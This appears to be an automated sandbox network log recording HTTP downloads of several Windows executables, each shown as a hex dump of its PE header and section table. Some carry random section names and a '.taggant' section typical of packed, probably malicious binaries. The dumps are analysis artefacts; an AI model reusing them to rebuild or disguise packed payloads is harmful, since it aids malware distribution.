Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:55:09 GMTContent-Type: application/octet-streamContent-Length: 2949120Last-Modified: Sat, 26 Oct 2024 03:44:52 GMTConnection: keep-aliveETag: "671c65b4-2d0000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 70 b2 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 90 05 00 00 00 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 6d 68 6c 79 74 76 62 00 50 2a 00 00 b0 05 00 00 4a 2a 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 79 63 67 67 6d 67 7a 00 10 00 00 00 00 30 00 00 04 00 00 00 da 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 30 00 00 22 00 00 00 de 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 03:55:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 03:55:23 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 03:55:25 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:55:30 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 26 Oct 2024 03:44:58 GMTConnection: keep-aliveETag: "671c65ba-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 20 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 fa 70 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 68 65 62 78 79 7a 72 00 a0 19 00 00 70 4f 00 00 9c 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 7a 61 79 65 78 74 71 00 10 00 00 00 10 69 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:55:45 GMTContent-Type: application/octet-streamContent-Length: 919040Last-Modified: Sat, 26 Oct 2024 03:25:48 GMTConnection: keep-aliveETag: "671c613c-e0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 34 61 1c 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 a0 41 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f4 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 9b 00 00 00 40 0d 00 00 9c 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 90 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:55:48 GMTContent-Type: application/octet-streamContent-Length: 1887744Last-Modified: Sat, 26 Oct 2024 03:45:05 GMTConnection: keep-aliveETag: "671c65c1-1cce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 86 06 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 93 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 92 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 74 61 79 69 72 62 00 c0 19 00 00 e0 30 00 00 b4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6d 6e 6f 77 62 6f 75 00 10 00 00 00 a0 4a 00 00 04 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 ac 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
